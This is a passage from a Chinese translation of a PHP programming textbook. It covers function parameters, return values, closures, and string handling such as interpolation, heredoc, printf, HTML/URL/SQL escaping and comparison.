要指定默认参数,请在函数声明中分配参数值。分配给参数的默认值不能是复杂表达式,只能是标量值:

function getPreferences($whichPreference = 'all')
{
 // if $whichPreference is "all", return all prefs;
 // otherwise, get the specific preference requested...
}

当您调用getPreferences()时,您可以选择提供参数。如果这样做,它将返回与您提供的字符串匹配的偏好设置;如果不提供,则返回所有偏好设置。

注意

函数可以具有任意数量的具有默认值的参数。但是,这些具有默认值的参数必须在所有没有默认值的参数之后列出。

变量参数

函数可能需要变量数量的参数。例如,在前一节中的getPreferences()示例中,可能返回任意数量的名称的偏好设置,而不仅仅是一个。要声明带有变量数量参数的函数,请完全省略参数块:

function getPreferences()
{
 // some code
}

PHP 提供了三个函数供您在函数中使用以检索传递给它的参数。func_get_args()返回提供给函数的所有参数的数组;func_num_args()返回提供给函数的参数数量;func_get_arg()从参数中返回特定参数。例如:

$array = func_get_args();
$count = func_num_args();
$value = func_get_arg(*`argument_number`*);

在例子 3-5 中,count_list()函数接受任意数量的参数。它遍历这些参数并返回所有值的总和。如果未提供参数,则返回false

示例 3-5. 参数计数器
<?php
function countList()
{
 if (func_num_args() == 0) {
 return false;
 }
 else {
 $count = 0;

 for ($i = 0; $i < func_num_args(); $i++) {
 $count += func_get_arg($i);
 }

 return $count;
 }
}

echo countList(1, 5, 9); // outputs "15"

这些函数的任何结果都不能直接用作另一个函数的参数。相反,您必须首先将变量设置为函数的结果,然后在函数调用中使用它。以下表达式将不起作用:

foo(func_num_args());

取而代之,使用:

$count = func_num_args();
foo($count);

缺失的参数

PHP 允许您随意——当您调用函数时,可以向函数传递任意数量的参数。函数期望但未传递给它的任何参数保持未设置,并为每个参数发出警告:

function takesTwo($a, $b)
{
 if (isset($a)) {
 echo " a is set\n";
 }

 if (isset($b)) {
 echo " b is set\n";
 }
}

 echo "With two arguments:\n";
takesTwo(1, 2);

echo "With one argument:\n";
takesTwo(1);
`With` `two` `arguments``:`
 `a` `is` `set`
 `b` `is` `set`
`With` `one` `argument``:`
`Warning``:` `Missing` `argument` `2` `for` `takes_two``()`
 `in` `/``path``/``to``/``script``.``php` `on` `line` `6`
`a` `is` `set`

类型提示

在定义函数时,可以添加类型提示,即可以要求参数是特定类的实例(包括扩展该类的类的实例)、实现特定接口的类的实例、数组或可调用的。要为参数添加类型提示,请在函数的参数列表中变量名之前包括类名、arraycallable。例如:

class Entertainment {}

class Clown extends Entertainment {}

class Job {}

function handleEntertainment(Entertainment $a, callable $callback = NULL)
{
 echo "Handling " . get_class($a) . " fun\n";

 if ($callback !== NULL) {
 $callback();
 }
}

$callback = function()
{
 // do something
};

handleEntertainment(new Clown); // works
handleEntertainment(new Job, $callback); // runtime error

类型提示的参数必须为NULL、给定类的实例或该类的子类、数组或可调用的指定参数。否则,会发生运行时错误。

您可以在类中为属性定义数据类型。

返回值

PHP 函数只能使用return关键字返回单个值:

function returnOne()
{
 return 42;
}

要返回多个值,请返回一个数组:

function returnTwo()
{
 return array("Fred", 35);
}

如果函数没有提供返回值,则函数会返回NULL。您可以通过在函数定义中声明来设置返回数据类型。例如,当执行以下代码时,将返回整数 50:

`function` *`someMath`*($var1, $var2): *`int`*
{
 `return` $var1 * $var2;
}

`echo` *`someMath`*(10, 5);

默认情况下,值是从函数中复制出来的。要通过引用返回值,请在声明函数和将返回值分配给变量时都在函数名前加上&

$names = array("Fred", "Barney", "Wilma", "Betty");

function &findOne($n) {
 global $names;

 return $names[$n];
}

$person =& findOne(1); // Barney
$person = "Barnetta"; // changes $names[1]

在此代码中,findOne()函数返回$names[1]的别名而不是其值的副本。因为我们通过引用赋值,所以$person$names[1]的别名,第二次赋值会改变$names[1]中的值。

有时,这种技术用于高效地从函数中返回大字符串或数组值。但是,PHP 对变量值实施写时复制(copy-on-write),意味着通常情况下从函数返回引用是不必要的。返回值的引用比返回值本身要慢。

可变函数

与可变变量类似,其中表达式引用的是外观变量($$结构)的值的变量的值的变量($variable()),可以在变量后添加括号来调用函数。考虑以下情况,其中一个变量用于确定要调用的三个函数之一:

switch ($which) {
 case 'first':
 first();
 break;

 case 'second':
 second();
 break;

 case 'third':
 third();
 break;
}

在这种情况下,我们可以使用变量函数调用来调用适当的函数。要进行变量函数调用,请在变量后的括号中包含函数的参数。重新编写前面的示例:

$which(); // if $which is "first", the function first() is called, etc...

如果变量没有对应的函数存在,则在评估代码时会发生运行时错误。为了防止这种情况,在调用函数之前,可以使用内置的function_exists()函数来确定变量的值是否存在函数:

$yesOrNo = function_exists(*`function_name`*);

例如:

if (function_exists($which)) {
 $which(); // if $which is "first", the function first() is called, etc...
}

语言结构(如echo()isset())不能通过可变函数调用:

$which = "echo";
$which("hello, world"); // does not work

匿名函数

一些 PHP 函数通过使用您提供的函数来完成部分工作。例如,usort() 函数使用您创建并作为参数传递给它的函数来确定数组中项目的排序顺序。

尽管您可以为此类目的定义一个函数,如前所示,但这些函数往往是局部化且临时的。为了反映回调的临时性质,请创建并使用 匿名函数(也称为 闭包)。

您可以使用正常的函数定义语法创建匿名函数,但将其分配给变量或直接传递。

示例 3-6 展示了使用 usort() 的示例。

示例 3-6. 匿名函数
$array = array("really long string here, boy", "this", "middling length", "larger");

usort($array, function($a, $b) {
 return strlen($a) – strlen($b);
});

print_r($array);

数组通过使用匿名函数 usort() 按字符串长度顺序排序。

匿名函数可以使用使用 use 语法在其封闭作用域中定义的变量。例如:

$array = array("really long string here, boy", "this", "middling length", 
"larger");
$sortOption = 'random';

usort($array, function($a, $b) use ($sortOption)
{
 if ($sortOption == 'random') {
 // sort randomly by returning (-1, 0, 1) at random
 return rand(0, 2) - 1;
 }
 else {
 return strlen($a) - strlen($b);
 }
});

print_r($array);

注意,将封闭作用域中的变量包含到闭包中并不等同于使用全局变量——全局变量始终位于全局作用域,而将变量包含允许闭包使用封闭作用域中定义的变量。还要注意,这不一定与调用闭包的作用域相同。例如:

$array = array("really long string here, boy", "this", "middling length", 
"larger");
$sortOption = "random";

function sortNonrandom($array)
{
 $sortOption = false;

 usort($array, function($a, $b) use ($sortOption)
 {
 if ($sortOption == "random") {
 // sort randomly by returning (-1, 0, 1) at random
 return rand(0, 2) - 1;
 }
 else {
 return strlen($a) - strlen($b);
 }
 });

 print_r($array);
}

print_r(sortNonrandom($array));

在这个示例中,$array 是按正常顺序排序的,而不是随机排序——闭包内的 $sortOption 的值是在 sortNonrandom() 作用域内的 $sortOption 的值,而不是全局作用域内的 $sortOption 的值。

接下来是什么

用户定义的函数编写起来可能令人困惑且难以调试,因此务必对其进行充分测试,并尽量限制其执行单一任务。在下一章中,我们将讨论字符串及其相关内容,这是另一个复杂且潜在令人困惑的主题。不要灰心:请记住,我们正在为编写良好、稳固、简洁的 PHP 代码打下坚实的基础。一旦掌握了函数、字符串、数组和对象的关键概念,您就将成为一名优秀的 PHP 开发者。

第四章:字符串

编程中遇到的大多数数据都是字符序列,或字符串。字符串可以包含人名、密码、地址、信用卡号码、照片链接、购买历史等。因此,PHP 提供了丰富的函数来处理字符串。

本章展示了在程序中创建字符串的许多方法,包括有时棘手的插值主题(将变量的值放入字符串中),然后涵盖了用于更改、引用、操作和搜索字符串的函数。通过本章,您将成为处理字符串的专家。

引用字符串常量

在编写 PHP 代码中,有四种方法可以写字符串文字:使用单引号、双引号,从 Unix shell 派生的here document(heredoc)格式,以及其“堂兄弟”now document(nowdoc)。这些方法在是否识别特殊的转义序列以及插入变量方面有所不同。

变量插值

当您使用双引号或 heredoc 定义字符串文字时,该字符串将被变量插值处理。插值是将字符串中的变量名替换为它们包含的值的过程。有两种方法将变量插值到字符串中。

两种插值变量的方式中,较简单的一种是将变量名放在双引号字符串或 heredoc 中:

$who = 'Kilroy';
$where = 'here';
echo "$who was $where";
`Kilroy` `was` `here`

另一种方式是用花括号包围要插值的变量。使用这种语法可以确保正确地插值变量。花括号的经典用法是消除变量名与周围文本的歧义:

$n = 12;
echo "You are the {$n}th person";
`You` `are` `the` `12``th` `person`

如果没有花括号,PHP 将尝试打印 $nth 变量的值。

与某些 shell 环境不同,在 PHP 中,字符串不会重复处理插值。相反,在双引号字符串中首先处理任何插值,然后使用结果作为字符串的值:

$bar = 'this is not printed';
$foo = '$bar'; // single quotes print("$foo");
`$bar`

单引号字符串

单引号字符串和 nowdoc 不会插值变量。因此,以下字符串中的变量名不会被扩展,因为它出现在单引号字符串文字中:

$name = 'Fred';
$str = 'Hello, $name'; // single-quoted echo $str;
`Hello``,` `$name`

在单引号字符串中,唯一有效的转义序列是 \',用于在单引号字符串中插入单引号,以及 \\,用于在单引号字符串中插入反斜杠。任何其他反斜杠的出现都会简单地被解释为一个反斜杠:

$name = 'Tim O\'Reilly';// escaped single quote echo $name;
$path = 'C:\\WINDOWS'; // escaped backslash echo $path;
$nope = '\n'; // not an escape echo $nope;
`Tim` `O``'``Reilly`
`C``:``\WINDOWS`
`\n`

双引号字符串

双引号字符串会插入变量并扩展许多 PHP 转义序列。Table 4-1 列出了 PHP 在双引号字符串中识别的转义序列。

表 4-1。双引号字符串中的转义序列

转义序列 表示的字符
\" 双引号
\n 换行符
\r 回车符
\t 制表符
\\ 反斜杠
`| 转义序列 表示的字符
--- ---
\" 双引号
\n 换行符
\r 回车符
\t 制表符
\\ 反斜杠
美元符号
\{ 左花括号
\} 右花括号
\[ 左方括号
\] 右方括号
\0\777 由八进制值表示的 ASCII 字符
\x0\xFF 由十六进制值表示的 ASCII 字符
\u UTF-8 编码

如果在双引号字符串字面量中发现未知的转义序列(即反斜杠后面跟一个不属于表 4-1 中的字符),则将其忽略(如果设置了警告级别E_NOTICE,则会生成警告以表示此类未知转义序列):

$str = "What is \c this?";// unknown escape sequence echo $str;
`What` `is` `\c` `this``?`

Here Documents

你可以使用 heredoc 轻松将多行字符串放入程序中,如下所示:

$clerihew = <<< EndOfQuote
Sir Humphrey Davy
Abominated gravy.
He lived in the odium
Of having discovered sodium.

EndOfQuote;
echo $clerihew;
`Sir` `Humphrey` `Davy`
`Abominated` `gravy``.`
`He` `lived` `in` `the` `odium`
`Of` `having` `discovered` `sodium``.`

<<<标识符令牌告诉 PHP 解析器你正在编写 heredoc。你可以选择标识符(在本例中为EndOfQuote),如果愿意,可以用双引号括起来(例如,"EndOfQuote")。接下来的一行开始了 heredoc 引用的文本,直到遇到只包含标识符的行为止。为了确保引用的文本在输出区域中显示为你所编排的样子,可以通过在代码文件顶部添加此命令来打开纯文本模式:

header('Content-Type: text/plain;');

或者,如果你可以控制服务器设置,你可以在php.ini文件中将default_mimetype设置为plain

default_mimetype = "text/plain"

然而,这并不推荐,因为它会将服务器的所有输出都置于纯文本模式,这会影响大多数 Web 代码的布局。

如果你没有为 heredoc 设置纯文本模式,默认通常是 HTML 模式,这会将输出显示为单行。

当使用 heredoc 表示一个简单表达式时,你可以在终止标识符后加上分号来结束语句(正如第一个例子所示)。然而,如果你在更复杂的表达式中使用 heredoc,你需要在下一行继续表达式,就像这里所示:

printf(<<< Template
%s is %d years old.
Template
, "Fred", 35);

在 heredoc 中,单引号和双引号都是被保留的:

$dialogue = <<< NoMore
"It's not going to happen!" she fumed.
He raised an eyebrow. "Want to bet?"
NoMore;
echo $dialogue;
`"``It's not going to happen!``"` `she` `fumed``.`
`He` `raised` `an` `eyebrow``.` `"``Want to bet?``"`

正如空格所示:

$ws = <<< Enough
 boo
 hoo
Enough;
// $ws = " boo\n hoo";

在 PHP 7.3 中引入了 heredoc 结束标记的缩进功能。这允许在嵌入代码的情况下更易读地格式化,就像以下函数所示:

function sayIt() {
 $ws = <<< "StufftoSay"
 The quick brown fox
 Jumps over the lazy dog.
 StufftoSay;
return $ws;
}

echo sayIt() ;

    `The` `quick` `brown` `fox`
 `Jumps` `over` `the` `lazy` `dog``.`

结束标识符之前的换行符被移除,因此这两个赋值是相同的:

$s = 'Foo';
// same as
$s = <<< EndOfPointlessHeredoc
Foo
EndOfPointlessHeredoc;

如果你希望在 heredoc 引用的字符串末尾添加一个换行符,你需要自己添加一个:

$s = <<< End
Foo

End;

打印字符串

有四种方式将输出发送到浏览器。echo结构允许你一次打印多个值,而print()只打印一个值。printf()函数通过将值插入模板中构建格式化字符串。print_r()函数对于调试很有用;它以更或少人类可读的形式打印数组、对象和其他内容。

echo

要将字符串放入 PHP 生成页面的 HTML 中,请使用echo。虽然看起来——并且在大多数情况下行为也像一个函数——echo是一个语言结构。这意味着你可以省略括号,因此以下表达式是等效的:

echo "Printy";
echo("Printy"); // also valid

你可以通过用逗号分隔它们来指定要打印的多个项目:

echo "First", "second", "third";
`Firstsecondthird`

在尝试回显多个值时使用括号会导致解析错误:

// this is a parse error
echo("Hello", "world");

因为 echo 不是真正的函数,所以不能将其作为较大表达式的一部分使用:

// parse error
if (echo("test")) {
 echo("It worked!");
}

通过使用 print()printf() 函数,您可以轻松纠正此类错误。

print()

print() 函数将一个值(其参数)发送到浏览器:

if (print("test\n")) {
 print("It worked!");
}
`test`
`It` `worked``!`

printf()

printf() 函数通过将值替换到模板(格式字符串)中来输出一个字符串。它源自标准 C 库中同名函数。printf() 的第一个参数是格式字符串。其余参数是要替换的值。格式字符串中的 % 字符表示一个替换位置。

格式修饰符

模板中的每个替换标记均以百分号(%)开头,可能后跟以下列表中的修饰符,并以类型指示符结尾。(使用 %% 可在输出中获取单个百分号字符。)修饰符必须按照以下顺序出现:

  1. 填充修饰符表示用于将结果填充到适当字符串大小的字符。指定 0、空格或任何以单引号前缀的字符。默认情况下使用空格进行填充。

  2. 符号。对于字符串与数字的影响不同。对于字符串,此处的减号()会强制字符串左对齐(默认为右对齐)。对于数字,此处的加号(+)会强制正数带有前导加号(例如,35 将打印为 +35)。

  3. 此元素应包含的最小字符数。如果结果少于这些字符数,则符号和填充修饰符将决定如何填充到此长度。

  4. 对于浮点数,精度修饰符包含一个点和一个数字;这决定了将显示多少位小数。对于除 double 以外的类型,此修饰符将被忽略。

类型指示符

类型指示符告诉 printf() 正在替换的数据类型。这决定了先前列出的修饰符的解释。共有八种类型,如 表 4-2 所列。

表 4-2. printf() 类型指示符

指示符 含义
% 显示百分号。
b 参数为整数,并以二进制数显示。
c 参数为整数,并按该值显示为字符。
d 参数为整数,并以十进制数显示。
e 参数为双精度浮点数,并以科学计数法显示。
E 参数为双精度浮点数,并以大写字母科学计数法显示。
f 参数为浮点数,并以当前区域设置的格式显示。
F 参数为浮点数,并以此类形式显示。
g 参数是双精度浮点数,显示为科学计数法(如 %e 类型说明符)或浮点数(如 %f 类型说明符),以较短的方式显示。
G 参数是双精度浮点数,显示为科学计数法(如 %E 类型说明符)或浮点数(如 %f 类型说明符),以较短的方式显示。
o 参数是整数,以八进制(基数 8)数显示。
s 参数是字符串,显示为该字符串。
u 参数是无符号整数,以十进制数显示。
x 参数是整数,以十六进制(基数 16)数显示;使用小写字母。
X 参数是整数,以十六进制(基数 16)数显示;使用大写字母。

对于不是 C 程序员的人来说,printf() 函数看起来异常复杂。不过一旦你习惯了,你会发现它是一个非常强大的格式化工具。以下是一些示例:

  • 保留到小数点后两位的浮点数:

    printf('%.2f', 27.452);
    `27.45`
    
  • 十进制和十六进制输出:

    printf('The hex value of %d is %x', 214, 214);
    `The` `hex` `value` `of` `214` `is` `d6`
    
  • 整数填充到三位小数:

    printf('Bond. James Bond. %03d.', 7);
    `Bond``.` `James` `Bond``.` `007.`
    
  • 格式化日期:

    printf('%02d/%02d/%04d', $month, $day, $year);
    `02``/``15``/``2005`
    
  • 百分比:

    printf('%.2f%% Complete', 2.1);
    `2.10``%` `Complete`
    
  • 浮点数填充:

    printf('You\'ve spent $%5.2f so far', 4.1);
    `You``'``ve` `spent` `$` `4.10` `so` `far`
    

sprintf() 函数与 printf() 接受相同的参数,但返回构建好的字符串而不是将其打印出来。这让你可以将字符串保存在变量中以供后续使用:

$date = sprintf("%02d/%02d/%04d", $month, $day, $year);
// now we can interpolate $date wherever we need a date

print_r() 函数会智能地显示传递给它的内容,而不像 echoprint() 那样将一切都转换为字符串。字符串和数字会直接打印出来。数组显示为带有键和值的括号列表,前面有 Array 字样:

$a = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');
print_r($a);
`Array`
`(`
 `[``name``]` `=>` `Fred`
 `[``age``]` `=>` `35`
 `[``wife``]` `=>` `Wilma``)`

在数组上使用 print_r() 会将内部迭代器移动到数组中最后一个元素的位置。参见第五章了解更多有关迭代器和数组的信息。

当你对对象使用 print_r() 时,你会看到单词 Object,然后显示作为数组的初始化属性:

class P {
 var $name = 'nat';
 // ... }

$p = new P;
print_r($p);
`Object`
`(`
 `[``name``]` `=>` `nat``)`

布尔值和 NULL 对于 print_r() 来说没有实际意义:

print_r(true); // prints "1"; `1`
print_r(false); // prints ""; 
print_r(null); // prints "";

因此,对于调试,推荐使用 var_dump() 而不是 print_r()var_dump() 函数可以以人类可读的格式显示 PHP 中的任何值:

var_dump(true);
var_dump(false);
var_dump(null);
var_dump(array('name' => "Fred", 'age' => 35));
class P {
 var $name = 'Nat';
 // ... }
$p = new P;
var_dump($p);
`bool``(``true``)`
`bool``(``false``)`
`bool``(``null``)`
`array``(``2``)` `{`
 `[``"``name``"``]``=>`
 `string``(``4``)` `"``Fred``"`
 `[``"``age``"``]``=>`
 `int``(``35``)`
`}`
`object``(``p``)(``1``)` `{`
 `[``"``name``"``]``=>`
 `string``(``3``)` `"``Nat``"`
`}`

谨防在递归结构(例如 $GLOBALS,它有一个指向自身的 GLOBALS 条目)上使用 print_r()var_dump()print_r() 函数会无限循环,而 var_dump() 则在访问同一元素三次后截断。

访问单个字符

strlen() 函数返回字符串中的字符数:

$string = 'Hello, world';
$length = strlen($string); // $length is 12

你可以使用字符串偏移语法来访问字符串的各个字符:

$string = 'Hello';
for ($i=0; $i < strlen($string); $i++) {
 printf("The %dth character is %s\n", $i, $string{$i});
}
`The` `0``th` `character` `is` `H`
`The` `1``th` `character` `is` `e`
`The` `2``th` `character` `is` `l`
`The` `3``th` `character` `is` `l`
`The` `4``th` `character` `is` `o`

清理字符串

经常,我们从文件或用户那里获得的字符串在使用前需要清理。原始数据常见的问题是存在多余的空白和不正确的大写(大写与小写之间的区分)。

移除空白

您可以使用trim()ltrim()rtrim()函数删除前导或尾随的空白字符:

$trimmed = trim(*`string`* [, *`charlist`* ]);
$trimmed = ltrim(*`string`* [, *`charlist`* ]);
$trimmed = rtrim(*`string`* [, *`charlist`* ]);

trim()返回从string中删除开头和结尾的空白的副本。 ltrim()l代表)执行相同的操作,但仅删除字符串开头的空白。 rtrim()r代表)仅从字符串结尾删除空白。 可选的charlist参数是一个字符串,用于指定要删除的所有字符。 默认要删除的字符在表 4-3 中给出。

表 4-3. 由 trim()、ltrim()和 rtrim()移除的默认字符

字符 ASCII 值 含义
" " 0x20 空格
"\t" 0x09 制表符
"\n" 0x0A 换行符(换行)
"\r" 0x0D 回车符
"\0" 0x00 NUL 字节
"\x0B" 0x0B 垂直制表符

例如:

$title = " Programming PHP \n";
$str1 = ltrim($title); // $str1 is "Programming PHP \n"
$str2 = rtrim($title); // $str2 is " Programming PHP"
$str3 = trim($title); // $str3 is "Programming PHP"

给定一个以制表符分隔的数据行,请使用charlist参数删除前导或尾随的空白而不删除制表符:

$record = " Fred\tFlintstone\t35\tWilma\t \n";
$record = trim($record, " \r\n\0\x0B");
// $record is "Fred\tFlintstone\t35\tWilma"

更改大小写

PHP 有几个函数可以改变字符串的大小写:strtolower()strtoupper()作用于整个字符串,ucfirst()仅作用于字符串的第一个字符,ucwords()作用于字符串中每个单词的第一个字符。每个函数接受一个要操作的字符串作为参数,并返回相应修改后的副本。例如:

$string1 = "FRED flintstone";
$string2 = "barney rubble";
print(strtolower($string1));
print(strtoupper($string1));
print(ucfirst($string2));
print(ucwords($string2));
`fred` `flintstone`
`FRED` `FLINTSTONE`
`Barney` `rubble`
`Barney` `Rubble`

如果您有一个混合大小写的字符串,并且想要将其转换为“标题案例”,其中每个单词的第一个字母大写,其余字母小写(并且您不确定字符串最初的大小写),请使用strtolower()ucwords()的组合:

print(ucwords(strtolower($string1)));
`Fred` `Flintstone`

编码与转义

因为 PHP 程序通常与 HTML 页面、网址(URL)和数据库交互,所以有一些函数可以帮助您处理这些类型的数据。HTML、网址和数据库命令都是字符串,但它们每个都需要以不同的方式进行不同的字符转义。例如,网址中的空格必须写成%20,而 HTML 文档中的文字小于号(<)必须写成&lt;。PHP 有许多内置函数用于在这些编码之间进行转换。

HTML

HTML 中的特殊字符由实体表示,如&amp;&)和&lt;<)。有两个 PHP 函数将字符串中的特殊字符转换为它们的实体:一个用于移除 HTML 标签,另一个用于仅提取元标签。

对所有特殊字符进行实体引用

htmlentities()函数将所有具有 HTML 实体等效项的字符转换为这些等效项(空格字符除外)。这包括小于号(<)、大于号(>)、和带重音的字符。

例如:

$string = htmlentities("Einstürzende Neubauten");
echo $string;
`Einstürzende` `Neubauten`

实体转义版本,&uuml;(查看源代码可见),在渲染的网页中正确显示为ü。正如你所见,空格没有被转换成&nbsp;

htmlentities()函数实际上可以接受最多三个参数:

$output = htmlentities(*`input`*, *`flags`*, *`encoding`*);

encoding参数,如果给出,标识字符集。默认为“UTF-8”。flags参数控制是否将单引号和双引号转换为它们的实体形式。ENT_COMPAT(默认)仅转换双引号,ENT_QUOTES转换两种引号类型,ENT_NOQUOTES既不转换单引号也不转换双引号。没有选项只转换单引号。例如:

$input = <<< End
"Stop pulling my hair!" Jane's eyes flashed.<p>
End;

$double = htmlentities($input);
// &quot;Stop pulling my hair!&quot; Jane's eyes flashed.&lt;p&gt;

$both = htmlentities($input, ENT_QUOTES);
// &quot;Stop pulling my hair!&quot; Jane&#039;s eyes flashed.&lt;p&gt;

$neither = htmlentities($input, ENT_NOQUOTES);
// "Stop pulling my hair!" Jane's eyes flashed.&lt;p&gt;

仅对 HTML 语法字符进行实体引用

htmlspecialchars()函数将尽可能少地转换实体以生成有效的 HTML。以下实体被转换:

  • Ampersands (&) are converted to &amp;

  • 双引号(")被转换为&quot;

  • 单引号(')如果ENT_QUOTES打开,则被转换为&#039;(如htmlentities()所述)

  • 小于号(<)被转换为&lt;

  • 大于号(>)被转换为&gt;

如果您有一个显示用户在表单中输入的数据的应用程序,则需要在显示或保存数据之前将该数据通过htmlspecialchars()运行。如果不这样做,用户输入像"angle < 30""sturm & drang"这样的字符串,浏览器将认为特殊字符是 HTML,导致页面混乱。

htmlentities()一样,htmlspecialchars()最多可以接受三个参数:

$output = htmlspecialchars(*`input`*, [*`flags`*, [*`encoding`*]]);

flagsencoding参数具有与htmlentities()相同的含义。

没有专门用于将实体转换回原始文本的函数,因为这很少需要。不过,有一种相对简单的方法可以做到这一点。使用get_html_translation_table()函数获取由这些函数之一在给定引用样式中使用的翻译表。例如,要获取htmlentities()使用的翻译表,可以这样做:

$table = get_html_translation_table(HTML_ENTITIES);

要获取htmlspecialchars()ENT_NOQUOTES模式下的表格,请使用:

$table = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);

一个不错的技巧是使用这个翻译表,用array_flip()来翻转它,并将其传递给strtr()以将其应用到字符串中,从而有效地执行htmlentities()的反向操作:

$str = htmlentities("Einstürzende Neubauten"); // now it is encoded 
$table = get_html_translation_table(HTML_ENTITIES);
$revTrans = array_flip($table);

echo strtr($str, $revTrans); // back to normal `Einstürzende` `Neubauten`

当然,您也可以获取翻译表,添加您想要的任何其他翻译,并使用strtr()。例如,如果您想要htmlentities()还将每个空格编码为&nbsp;,可以这样做:

$table = get_html_translation_table(HTML_ENTITIES);
$table[' '] = '&nbsp;';
$encoded = strtr($original, $table);

移除 HTML 标签

strip_tags()函数从字符串中删除 HTML 标签:

$input = '<p>Howdy, &quot;Cowboy&quot;</p>';
$output = strip_tags($input);
// $output is 'Howdy, &quot;Cowboy&quot;'

该函数可能接受第二个参数,该参数指定要在字符串中保留的标记字符串。只列出标记的开放形式。列在第二个参数中的标记的闭合形式也会被保留:

$input = 'The <b>bold</b> tags will <i>stay</i><p>';
$output = strip_tags($input, '<b>');
// $output is 'The <b>bold</b> tags will stay'

保留标签中的属性不会被strip_tags()改变。因为诸如styleonmouseover之类的属性可能会影响网页的外观和行为,所以用strip_tags()保留一些标签不一定会消除滥用的可能性。

提取元标签

get_meta_tags()函数返回指定为本地文件名或 URL 的 HTML 页面的 meta 标签数组。meta 标签的名称(keywordsauthordescription等)成为数组中的键,而 meta 标签的内容成为相应的值:

$metaTags = get_meta_tags('http://www.example.com/');
echo "Web page made by {$metaTags['author']}";
`Web` `page` `made` `by` `John` `Doe`

函数的一般形式是:

$array = get_meta_tags(*`filename`* [, *`use_include_path`*]);

传递true值给use_include_path,让 PHP 尝试使用标准包含路径打开文件。

URL

PHP 提供了用于转换到和从 URL 编码的函数,这使您能够构建和解码 URL。实际上有两种类型的 URL 编码,它们在如何处理空格方面有所不同。第一种(由 RFC 3986 指定)将空格视为 URL 中的另一个非法字符,并将其编码为%20。第二种(实现application/x-www-form-urlencoded系统)将空格编码为+,用于构建查询字符串。

注意,您不应在完整 URL 上使用这些函数,例如http://www.example.com/hello,因为它们将转义冒号和斜杠以生成:

http%3A%2F%2Fwww.example.com%2Fhello

仅对部分 URL 进行编码(http://www.example.com/之后的部分),稍后添加协议和域名。

RFC 3986 编码和解码

要根据 URL 约定对字符串进行编码,请使用rawurlencode()

$output = rawurlencode(*`input`*);

此函数接受一个字符串,并返回一个使用%dd约定编码的副本,其中包含非法的 URL 字符。

如果您正在为页面中的链接动态生成超文本引用,需要使用rawurlencode()进行转换:

$name = "Programming PHP";
$output = rawurlencode($name);
echo "http://localhost/{$output}";
`http``://``localhost``/``Programming``%``20``PHP`

rawurldecode()函数解码 URL 编码的字符串:

$encoded = 'Programming%20PHP';
echo rawurldecode($encoded);
`Programming` `PHP`

查询字符串编码

urlencode()urldecode()函数与其原始版本唯一的区别在于它们将空格编码为加号(+)而不是%20序列。这是构建查询字符串和 cookie 值的格式。这些函数在 HTML 中提供类似表单的 URL 时非常有用。PHP 会自动解码查询字符串和 cookie 值,因此您不需要使用这些函数来处理这些值。这些函数在生成查询字符串时非常有用:

$baseUrl = 'http://www.google.com/q=';
$query = 'PHP sessions -cookies';
$url = $baseUrl . urlencode($query);
echo $url;

`http``://``www``.``google``.``com``/``q``=``PHP``+``sessions``+-``cookies`

SQL

大多数数据库系统要求 SQL 查询中的字符串字面值进行转义。SQL 的编码方案相当简单——单引号、双引号、NUL 字节和反斜杠需要在前面加上反斜杠。addslashes()函数添加这些反斜杠,而stripslashes()函数则将其移除:

$string = <<< EOF
"It's never going to work," she cried,
as she hit the backslash (\) key.
EOF;
$string = addslashes($string);
echo $string;
echo stripslashes($string);
`\``"``It``\``'s never going to work,``\"` `she cried,`
`as she hit the backslash (``\\``) key.`
`"``It``'``s` `never` `going` `to` `work``,``"` `she cried,`
`as she hit the backslash (``\``) key.`

C 字符串编码

addcslashes() 函数通过在特定字符前加上反斜杠来转义任意字符。除了 Table 4-4 中的字符外,ASCII 值小于 32 或大于 126 的字符会用它们的八进制值进行编码(例如 "\002")。addcslashes()stripcslashes() 函数用于非标准数据库系统,这些系统有自己的想法,即哪些字符需要转义。

Table 4-4. addcslashes()stripcslashes() 识别的单字符转义

ASCII 值 编码
7 \a
8 \b
9 \t
10 \n
11 \v
12 \f
13 \r

使用两个参数调用 addcslashes() —— 要编码的字符串和要转义的字符:

$escaped = addcslashes(*`string`*, *`charset`*);

使用 ".." 结构指定要转义的字符范围:

echo addcslashes("hello\tworld\n", "\x00..\x1fz..\xff");
`hello\tworld\n`

警告在字符集中指定 '0', 'a', 'b', 'f', 'n', 'r', 't', 或 'v',因为它们会转换为 '\0', '\a' 等。这些转义符由 C 和 PHP 识别,可能会引起混淆。

stripcslashes() 接受一个字符串,并返回一个带有扩展转义的副本:

$string = stripcslashes(*`escaped`*);

例如:

$string = stripcslashes('hello\tworld\n');
// $string is "hello\tworld\n"

比较字符串

PHP 有两个操作符和六个函数用于比较字符串:

精确比较

使用 ===== 操作符可以比较两个字符串是否相等。这两个操作符在处理非字符串操作数时有所不同。== 操作符会将字符串操作数转换为数字,因此会报告 3"3" 是相等的。根据将字符串转换为数字的规则,它也会报告 3"3b" 是相等的,因为只使用字符串中非数字字符之前的部分进行转换。而 === 操作符不进行类型转换,如果参数的数据类型不同,则返回 false

$o1 = 3;
$o2 = "3";

if ($o1 == $o2) {
 echo("== returns true<br>");
}
if ($o1 === $o2) {
 echo("=== returns true<br>");
}
`==` `returns` `true`

比较操作符 (<, <=, >, >=) 也适用于字符串:

$him = "Fred";
$her = "Wilma";

if ($him < $her) {
 print "{$him} comes before {$her} in the alphabet.\n";
}
`Fred` `comes` `before` `Wilma` `in` `the` `alphabet`

然而,当比较字符串和数字时,比较操作符会给出意外的结果:

$string = "PHP Rocks";
$number = 5;

if ($string < $number) {
 echo("{$string} < {$number}");
}
`PHP` `Rocks` `<` `5`

当比较操作符的一个参数是数字时,另一个参数会被转换为数字。这意味着 "PHP Rocks" 被转换为数字,得到 0(因为字符串不以数字开头)。因为 0 小于 5,PHP 输出 "PHP Rocks < 5"

若要明确将两个字符串作为字符串比较,必要时将数字转换为字符串,请使用 strcmp() 函数:

$relationship = strcmp(*`string_1`*, *`string_2`*);

该函数返回一个小于 0 的数,如果 string_1string_2 前排序;如果 string_2string_1 前排序,则返回大于 0 的数;如果它们相同,则返回 0:

$n = strcmp("PHP Rocks", 5);
echo($n);
`1`

strcmp() 的变体是 strcasecmp(),它在比较之前将字符串转换为小写。它的参数和返回值与 strcmp() 相同:

$n = strcasecmp("Fred", "frED"); // $n is 0

另一种字符串比较的变体是仅比较字符串的前几个字符。strncmp()strncasecmp() 函数需要额外的参数,即用于比较的初始字符数:

$relationship = strncmp(*`string_1`*, *`string_2`*, *`len`*);
